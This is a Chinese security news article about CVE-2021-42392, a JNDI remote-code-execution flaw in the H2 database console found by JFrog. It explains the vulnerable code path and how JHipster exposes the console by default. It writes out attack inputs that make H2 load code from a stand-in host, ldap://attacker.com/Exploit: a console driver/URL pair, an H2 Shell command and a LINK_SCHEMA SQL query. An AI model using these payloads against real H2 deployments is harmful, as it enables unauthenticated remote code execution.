H2数据库被爆类log4j漏洞

 

研究人员在H2 Database Console中发现一个类似log4j的安全漏洞。

H2是一个Java编写的关系型数据库,它可以被嵌入Java应用程序中使用,或者作为一个单独的数据库服务器运行。JFrog安全研究人员在H2 数据库中发现一个基于JNDI的漏洞,CVE编号为CVE-2021-42392。该漏洞是一个,该漏洞的根本原因与Apache Log4j类似。

 

漏洞根源分析——JNDI 远程类加载

该漏洞产生的本质原因是H2数据库过程中的多个代码路径会传递未过滤的攻击者控制的URL到javax.naming.Context.lookup 函数,可以加载远程代码库加载(AKA Java代码注入/AKA远程代码执行)。org.h2.util.JdbcUtils.getConnection方法将驱动类名和数据库url作为参数。如果驱动的类可以分配给javax.naming.Context,该方法就可以实例化一个对象,并调用其lookup方法:

else if (javax.naming.Context.class.isAssignableFrom(d)) {
    // JNDI context
    Context context = (Context) d.getDeclaredConstructor().newInstance();
    DataSource ds = (DataSource) context.lookup(url);
    if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
        return ds.getConnection();
    }
    return ds.getConnection(user, password);
}

设置驱动类为javax.naming.InitialContext,URL为ldap://attacker.com/Exploit就可能导致远程代码执行。

JNDI攻击流

 

CVE-2021-42392攻击向量

H2 console

最严重的攻击向量是通过H2 console:
H2数据库中含有嵌入的基于web的console,可以实现对数据库的便捷管理。运行H2 package JAR时默认是在http://localhost:8082上:
java -jar bin/h2.jar

在Windows上,是通过开始菜单-H2 console应用:

此外,如果H2被用作嵌入式的库,可以从Java启动console:

h2Server = Server.createWebServer("-web", "-webAllowOthers", "-webPort", "8082");
h2Server.start();

访问console时会有一个受保护的登录表单,运行传递driver和URL域到JdbcUtils.getConnection对应的域。这会导致非认证的远程代码执行,在执行含有可疑URL的lookup时用户名和密码是没有经过验证的。

Generic H2登录表单

一般情况下,H2 console只可以从localhost访问。但该选项可以修改为通过console的UI:

H2 Console选项
或修改为命令行参数:-webAllowOthers
但研究人员发现一些依赖H2数据库的第三方根据会运行默认暴露给远程客户端的H2 console。比如,JHipster框架就会暴露H2 console,并默认将webAllowOthers 属性设置为true:

# H2 Server Properties
0=JHipster H2 (Memory)|org.h2.Driver|jdbc\:h2\:mem\:jhbomtest|jhbomtest
webAllowOthers=true
webPort=8092
webSSL=false

根据官方文档,运行使用JHipster框架的应用时,H2 console默认是在/h2-console 终端的JHipster web接口上:

JHipster web接口

因为H2数据库被广泛使用,因此很难量化有多少有漏洞的H2 console的部署。

H2 Shell工具

在内置的H2 shell中,可以控制命令行参数的攻击者可以调用有漏洞的驱动和URL:

java -cp h2*.jar org.h2.tools.Shell -driver javax.naming.InitialContext -url ldap://attacker.com:1387/Exploit

但是这种攻击的现实可能性比较小。

基于SQL的攻击向量

有漏洞的JdbcUtils.getConnection 可能会被多个SQL存储的过程调用。研究人员识别出多个具有相同特征的过程,使得攻击向量不那么严重,因为只有经过认证的数据库管理员才可以调用。
比如,LINK_SCHEMA可以直接传递driver和URL参数给有漏洞的函数,比如下面的查询过程:

SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming.InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');

因为保存的过程受限于数据库管理员,研究人员认为最严重的攻击向量是将SQL注入提权为远程代码执行。

完整技术细节参见:https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/

(完)